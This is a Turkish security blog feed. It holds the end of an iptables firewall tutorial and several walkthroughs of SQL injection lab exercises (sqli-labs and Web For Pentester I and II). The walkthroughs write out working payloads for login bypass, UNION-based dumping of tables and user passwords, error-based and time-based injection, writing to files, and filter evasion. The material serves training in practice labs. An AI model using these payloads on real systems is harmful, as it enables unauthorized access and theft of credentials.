Aslında bu şekilde kişisel bilgisayarınızda bir kod ile bunu sağlar iseniz ssl sertifikası olmayan siteye girmemiş olursunuz.
İsterseniz şimdide bize ping atanları engelleyelim ne dersiniz ? Yani sadece ping atmalarını engelleyeceğiz diğer her işlevi yapabilicekler.( Fişi çekmekten iyidir )
iptables -I INPUT -p icmp --icmp-type echo-reply -j DROP
Eğer bizden bir ping çıkmasın istiyorsanız.
iptables -I OUTPUT -p icmp --icmp-type echo-request -j DROP
Genel anlamda aslında iptables ın tüm argümanlarına değindik.Değişek tek şey ip’ler ve protokoller ( tcp / udp ) . Bahsetmediğimiz birkaç şey kaldı bunlarda interface seçmek,load-balancing,time limit ve port yönlendirme.
İnterface seçimi :
INPUT interface:
iptables -I OUTPUT -d 192.168.1.43 -i wlan1 -j DROP
Kod tamamen örnek amaçlıdır.Burada -i input interface(Paketin alındığı arayüz) anlamına gelir.
OUTPUT interface
iptables -I OUTPUT -d 192.168.1.43 -o wlan1 -j ACCEPT
Burada -o output interface ( Paketin gönderildiği arayüz ) anlamına geliyor.
Time-limit:
Bu kodumuzda ise paketlerin alınma veya yollanma sıklığını belirleyebiliyoruz.
Kodumuza şöyle birşey eklerisek yeterli gelicektir.
iptables -m limit --limit sıklık/zaman(Hour veya Second cinsinden )
iptables -m limit --limit 10/5s -j DROP
Load-Balancing ( yük dengeleme ) :
Bazı sistemlerde yük dengelemeye ihtiyaç duyulabilir ki duyulması da gerekir aksi takdirde yük dağıtımı olmadığı zaman sistemin çalışmasında sıkıntılar meydana gelecektir.İşte bu gibi durumlar içinde iptables da argümanlarımız bulunuyor.
iptables -I PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1 iptables -I PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.2
Burada hedefi 80 olan tüm paketleri iki sunucu arasında paylaştırdık.
Port yönlendirme :
iptables -t NAT -I PREROUTING -p tcp -d 192.168.1.5 --dport 500 -j DNAT --to 192.168.1.100:300
Burada -t argümanı table ( tablo ) dan gelmektedir.Yani nat tablosuna ekliyoruz bu kuralı.
Burada hedefi 192.168.1.5:500 olan bir isteği 192.168.1.100:300 e yönlendirdik.
Herhangi bir yerde hata görürseniz bildirmekten çekinmeyiniz teşekkür ederim.
]]>
SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]
]]>SQL-i Labs 10-15
Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.
Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin
Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.
Önce ki yazılara ulaşmak için :
Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız
Anlaştıysak başlayalım.
Level 11 :
Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?
"or 1=1 ---+
Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
O zaman bizde payload’ımızı tek tırnak ile deneyelim.
' or 1=1 --+
Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer
1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.
Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.
eğer username=cypm and password=123456 == True yazdır 'Giriş başarılı.' değilse yazdır ' Giriş başarılı değil.'
Level 12:
Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.
" or 1=1 --+
Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için
'" (Tek tırnak + Çift Tırnak )
payloadını kullanarak hata verdirdim.
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.
")or 1=1 #
Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
Level 13 :
Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?
Ama biz normal miyiz ? Duyamadım ? Evet değiliz.
O yüzden double injection niye yazalım ki ?
Hemen yine sql sorgumuza error verdirtelim.
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı
"'
ile verdirttim.
Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.
')or 1=1 #
Yaşasın HackerMind!
Level 14 :
Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?
Tabi enes durur mu yapıştırmış payload’ı
"or 1=1 #
Level 15:
Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.
Yabancılarda ise True ve False şeklinde.
Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca
Yani burada yapmamız gereken aslında level 11 de ki gibi
giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.
O zaman payloadımızı yazalım.
" or 1=1 #
Veeeee aman Allah’ım o da ne ? Login olamadık.
Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz
Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.
' or 1=1 #
]]>Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.
Bir daha ki yazımızda görüşmek üzere.
Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]
]]>Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.
Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :
Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.
Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5
1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.
select * into dumpfile "hebelehubele.sql"
Bizde şu sorguyu gerçekleştiriyoruz.
1'union select 1,2,3 into dumpfile "hebelehubele.txt"
Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.
Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.
1')) sorgunuz
Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.
1'))union select 1,2,3 into dumpfile "/tmp/mirkelam.txt"--+
Level 8 :
İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.
Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.
1'and 1=1 --+
Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.
1'and 1=2 --+
Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
Level 9 :
.
Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.
?id=500000
yazarsanız hala aynı şekilde durduğunu göreceksiniz.
Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.
?id=1'and sleep(10) --+
Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.
Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.
Payloadımız
1"and sleep(10) --+]]>
Sqli – Lab Nedir ? Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır. Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs Yukarıda ki adresden indirmek için git clone https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.) Veya wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz. Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password […]
]]>Sqli – Lab Nedir ?
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için
git clone https://github.com/Audi-1/sqli-labs.git
Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya
wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git
Komutunu kullanabilirsiniz.
Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.
Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.
SQLi-Labs Page 1 ( Basic )
Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1
Bu kısımdan sonra
?id=1'order by 6
gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz
?id=1'order+by+6# veya ?id=1'order+by+6--+
gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.
Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.
?id=1'order by 4 --+
Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.
Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.
Toplam kolon sayısını bulma. Vulnerable kolonları ekrana bastırma. Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.
Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.
bunun için aşağıda ki payload’ı kullanıyoruz.
?id=-1'union select 1,2,3 --+
Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek
?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz
Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.
?id=-1'union select 1,database(),user()
Gördüğünüz gibi database ismimiz security , kullanıcımız ise root@localhost
Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.
Şimdi de tablo isimlerimizi çekelim.
Bunun için payloadımız
-1'union select 1,group_concat(table_name),3 from information_schema.tables--+
Eğer burada group_concat yerine
-1'union select 1,table_name,3 from information_schema.tables--+
bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :
Şimdi de sütunlarımızı çekelim
?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+
Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.
?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()
Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.
Bu level ile ilgili :
Bir çok kaynakta
?id=1 ;
şeklinde bir payload yazılmış fakat
Bizim
?id=1 --+
kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü
-1 union select 1,2,3 --+
Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda
Aşağıdakine benzer bir kod çalışıyor.
select * from users where userid=(getrequest) \\ Tahminidir.
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.
-1')union+select+1,2,3 --+
Şimdi bu kısımda açıklama gereği duyuyorum.
select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.
Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.
select * from users where userid=('')union select 1,2,3
Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.
Payloadımız :
?id=-1")union+select+1,2,3 --+
İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.
1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).
]]>Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor. Web For Pentester II Birinci egzersizlere göre biraz daha farklı konular bulunuyor. Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre) Bu yazımızda SQL Injection bölümünü ele alacağız. Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/ […]
]]>Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor.
Web For Pentester II
Birinci egzersizlere göre biraz daha farklı konular bulunuyor.
Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre)
Bu yazımızda SQL Injection bölümünü ele alacağız.
Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/
Bu yazımızda da farklı olarak sadece bypass yöntemlerini anlatacağız.Biraz da sizin taşın altına elinizi koymanızı bekleyeceğiz.
Level 1 :
Birinci levelimiz biraz basit bir işlem ile bypass edilebiliyor.
'or '1'='1
Burada sql bypass kodumuz başarıyla çalıştığı ve 1=1 her zaman True döndürdüğü için başarıyla giriş yapabiliyoruz.
Level 2:
Bu kısım da ise sql kodumuzu sınırlandırmamız gerekiyor.Çünkü geri döndürülen veri kısıtlanmış.Bu yüzden eğer sınırlandırmazsak bir işe yaramıyor.
' or 1=1 LIMIT 1 #
Level 3 :
Bu level biraz karışık gelebilir.Şöyle:
Bu kısımda username kısmında ki tek tırnak ( ‘ ) karakterini kaçış karakteri ile ( \ ) içerisine password kısmını almasını sağladık.
Daha sonra password kısmımıza ise en basit bypass yöntemimizi yazdık.
Username kısmı :
selam\
Password kısmı :
'or+1=1 #
Level 4 :
Bu kısımda adres çubuğu kısmında yazan string’e göre bize database üzerinden veri getiriyor.Yani aslında ne yazarsak bize onun kullanıcı adını getirecek.
'h'or 1=1
Yukarıda ki bypass yöntemimizi yazarak tüm kayıtları karşımıza getirebiliriz.
Burada bize sadece bu bilgiler lazım olmayacağı için
1.yazımız da ki ilk levelin bypassdan sonra ki işlemleri uygulayabilirsiniz.
Link : https://canyoupwn.me/wfp-i-sqli/
Aşağıda ki kısımdan sonrasını uygulayabilirsiniz.
order by 5 %23
Level 5 :
Bu kısımda eğer adres çubuğunun sonuna or 1=1 koyarsak bize hata vericektir.Bizde buradan yola çıkarak bypass yapabiliriz.
Burada hata verdirmesini sağladık.Hadi bypass edelim.
2 union select * from users
Union operatörünün görevi arkaplanda çalışan sorgunun ardından aslında ikinci,üçüncü, …… sorgu çalıştırmamızı sağlıyor.
Detaylı bilgi : http://www.w3schools.com/sql/sql_union.asp
Level 6 :
5.level ile aynı şekildedir.Tek fark burada sorguyu username ile gruplamasıdır.Yani sorgunun sonunda GROUP BY operatörü kullanılmakta.
Arka planda ki kod aşağıda ki gibidir.
SELECT * FROM users GROUP BY username
Level 7 :
Burada eğer
union select * from users
bypassını kullanırsak bize aşağıda ki hatayı verecektir.
Should only return one user…
Gördüğünüz gibi burada bize fazladan bir sütun,satır çekmemizi engelliyor.Ne yazık ki group_concat’de de aynı hatayı vericektir.
Burada yapabiliceğimiz tek şey adresin sonunda ki id kısmını silerek sadece ? işareti kalmasını sağlamak.Bu şekilde tüm bir tabloyu görebiliyoruz.
Ama bize çok fazla bir veri göstermediği bir gerçek.
Level 8 :
Bu bölümde bize bir kullanıcı kayıt sayfası gösteriliyor.Tek tırnak atıp arkaplanda nasıl bir kod çalıştığına bakabiliriz.
SELECT * FROM users WHERE username=''union select 1,2,3'
Burada gördüğünüz gibi koyduğumuz tek tırnakdan sonra işlemimizi yapabiliyoruz ama sondaki tek tırnağı da # ( diyez ) ile geçersiz kılmamız gerekiyor.
selam'union all select 1,2,group_concat(table_name)from information_schema.tables #
Level 9 :
Bu kısımda biraz uğraşmamız gerekebiliyor.Çünkü escape_special_character gibi çeşitli fonksiyonlar ile bypass yöntemlerimiz işe yaramıyor.
Hatta baya uğraştım diyebiliriz ve pes edip kaynak kodlarına bakmak zorunda kaldım.
Burada gördüğünüz gibi Character_Set “GBK” olarak belirlenmiş ? Sizinde kafanızın üstünde hayali bir ampül yandı sanırım değil mi ?
Tam da Karakter Setlerinden GBK ve Big5 setleri için uygun olan bir bypass yöntemi mevcut.
呵' or 1=1 #]]>
WFP I SQLi Çözümü Web For Pentester Nedir ? PentesterLab tarafından hazırlanmış, içerisinde çeşitli Web zafiyetleri barındıran, üzerinde egzersiz yapabileceğiniz bir disk uygulamadır. İçerisinde XSS,SQLi,Directory Traversal,File include,Code Injection gibi birçok alıştırma vardır.Bu yazıda SQLi çözümlerine bakacağız. Web For Pentester I : Web For Pentester 1 SQLi nedir ? SQLi den bahsetmek için öncelikle SQL’den bahsetmek gerekir. […]
]]>WFP I SQLi Çözümü
Web For Pentester Nedir ?
PentesterLab tarafından hazırlanmış, içerisinde çeşitli Web zafiyetleri barındıran, üzerinde egzersiz yapabileceğiniz bir disk uygulamadır.
İçerisinde XSS,SQLi,Directory Traversal,File include,Code Injection gibi birçok
alıştırma vardır.Bu yazıda SQLi çözümlerine bakacağız.
Web For Pentester I : Web For Pentester 1
SQLi nedir ?
SQLi den bahsetmek için öncelikle SQL’den bahsetmek gerekir. SQL ( Structed Query Language );
en kısa tabiriyle veritabanında sakladığımız verileri SQL motoruna bağlı olarak belirli sorgular ile yönetebildiğimiz
bir veritabanı yönetim sistemidir.
SQL tamam ama bu sonundaki i harfi de nedir ? İ harfi burada injection kısaltmasıdır. Nedir bu injection ? Örnekle açıklayalım.
Üye giriş formumuz olsun ve bizden kullanıcı adı istesin. Arkaplanda çalışan en güvensiz kod şu şekilde olacaktır.
js"]SELECT * FROM users WHERE kullaniciadi='$kadidegiskeni'
Yukarıdaki kod, aksi belirtilmediği veya kötüye kullanım harici düzgün bir şekilde işlevini yerine getiricektir.
Injection tam bu kullaniciadi = ‘$kadidegiskeni’ kısımdadır. Burada ki değişkenin değerini
‘ ( tek tırnak ) yaptığımızda WHERE kullaniciadi = ‘ ‘ şeklinde yorumlanacaktır. Ve bu da bize sorgunun devamına kendi sorgu cümlemizi yazabilme olanağı sağlar. Neyse kısa keselim en basit anlamıyla SQL Injection bu şekildedir. Temelinde bu vardır.
Şimdi Web For Pentester I üzerindeki egzersizleri çözelim.
Öncelikle SQLi yedirdikten sonraki kısımlar birbirine benzeyeceği için bütün aşamalar ilk kısımda verilmiş. Geri kalan egzersizlerde nasıl bypass edeceğimiz gösterilmiştir.
Level 1
Adress çubuğunda gördüğünüz gibi example1.php?name=root yazıyor.
Admin’den sonra “ tırnak atmayı deneyelim.
Tablomuzda hiçbir şey gözükmüyor. Yani bir etkisini göremedik. Bir de tek tırnak deneyelim.
Admin’ yaptığımızda tablo kayboldu, bu ne demek ? Bir şeylere müdahale edebildik demektir.
Hemen bakalım sqli var mı deneyelim.
or '1'='1
yazalım. Dikkat edin burada 1 den sonra tek tırnağı kapatmıyoruz. Çünkü SQL sorgusunun sonunda bir tırnak var ve onun kapatmasını sağlıyoruz.
Gördüğünüz gibi bütün tabloyu ekrana döktük ama burada işimize yarayacak pek bir bilgi yok. Ama injection var değil mi ? O yüzden gerisini getirelim ve ele geçirelim.
Sırada kaç kolon çekildiğini öğrenmek var onun için order by kullanacağız.
1'order by 5 %23
Bu kodu yazdığımızda tablomuzun yapısında bir bozulma olmuyor fakat 5 sayısını 6 yaptığımızda tablo kayboluyor. Bu da demektir ki sql sorgusuyla birlikte gelen veri 5 sutünlu bir veri. %23 ise # işaretinin encode edilmiş halidir.
Hemen ardından hangi kolonlarımızda zararlı kodları kullanabiliriz ona bakalım.
1'union select 1,2,3,4,5 %23
Gördüğünüz gibi 1,2,3 numaralı kolonlara bazı bilgileri yazarsak bize ekranda gösterecek.
Not:Ekranda ki bilgilerin 1,2,3 numaralı kolonlardan alındığını buradan anlayabiliriz.
union select database(),user(),3,4,5 %23
Burada 1 ve 2 numaralı kolonlara bize database ismini ve bunun kullanıcısını göster dedik.
Sırada tablo ismini/isimlerini öğrenmek var.
'union select group_concat(table_name),2,3,4,5+from+information_schema.tables+where+table_schema=database()%23
Burada group_concat kullanmamın amacı , evet burada başka bir tablo yok ama bu gerçek hayatta olamayacağı anlamına gelmez eğer yüzlerce tablo var ise union select etkisiz kalacaktır.
Kolonlarımızı çekelim şimdi de.
'union select group_concat(column_name),2,3,4,5+from+information_schema.columns+where+table_schema=database()%23
Gördüğünüz gibi 5 adet kolon bulunuyor. Bunlar : id,name,age,groupid,passwd
Şimdi son işlemimiz olan şifreleri çekelim.
union select group_concat(name),group_concat(passwd),3,4,5+from+users%23
Burada sırasıyla kullanıcıların şifrelerini sağ tarafta görmekteyiz.
Şimdi diğer levellere geçelim.
Level 2
Bu kısımda dikkat etmemiz gereken sonuna %23 koyarsak eğer ERROR NO SPACE hatası veriyor.Yani sorgumuz aslında devam ediyor ve araya girdiğimizde hata veriyor.
-1'%09or%09'1'='1 ]
%09 boşluk karakterinin encode edilmiş halidir.
Level 3
-1'/**/or/**/'1'='1
Burada developer bir önceki levelde kullandığımız %09 gibi karakterleri engellemiş.O zaman ne yapıyoruz ? İmdadımıza php yorum satırı karakterleri yetişiyor.
Level 4
-1 or 1=1
Burada developer arkadaşımız bir fonksiyon ile kaçış karakterlerini kullanmış.Örneğin pythonda ki “ \ “ karakteri gibi.Yazılacak ‘ veya “ gibi karakterleri kaçış karakterine yakalandığı için işlevsizleşiyor.
Biz de direk deneriz
Level 5
2%09or%091=1
Burada developer arkadaşımız kaçış karakterlerini kullanıyor zaten üstüne üstlük boşluk karakterlerini de engellemiş bizde daha önceden bildiğimiz %09’u kullanıyoruz.
Level 6
2%09or%091=1
Level 5 ile aynı şekilde geçilebiliyor.
Level 7
Burada şimdiye kadar kullandığımız payloadlar işe yaramıyor. Bizden bir integer istiyor. Ve biz de bunu
2%0A or 1=1
Burada %0A line feed encode hali yani aslında koda multiline özelliğini kazandırdık. Normalde SQL kodumuz tek satırlıktı fakat biz bunu 2 satır haline getirdik.
Level 8
Burada order by ile sıralama yapıldığını görüyoruz.Burada herhangi bir sql injection bulabilsek bile sadece sql injectionun varlığını kanıtlayabiliriz herhangi bir veri elde edemeyiz.
Level 9
Level 8 ile aynıdır.
Son 2 bölüm bize her SQL İnjectiondan veri elde edemeyeceğini öğretiyor
]]>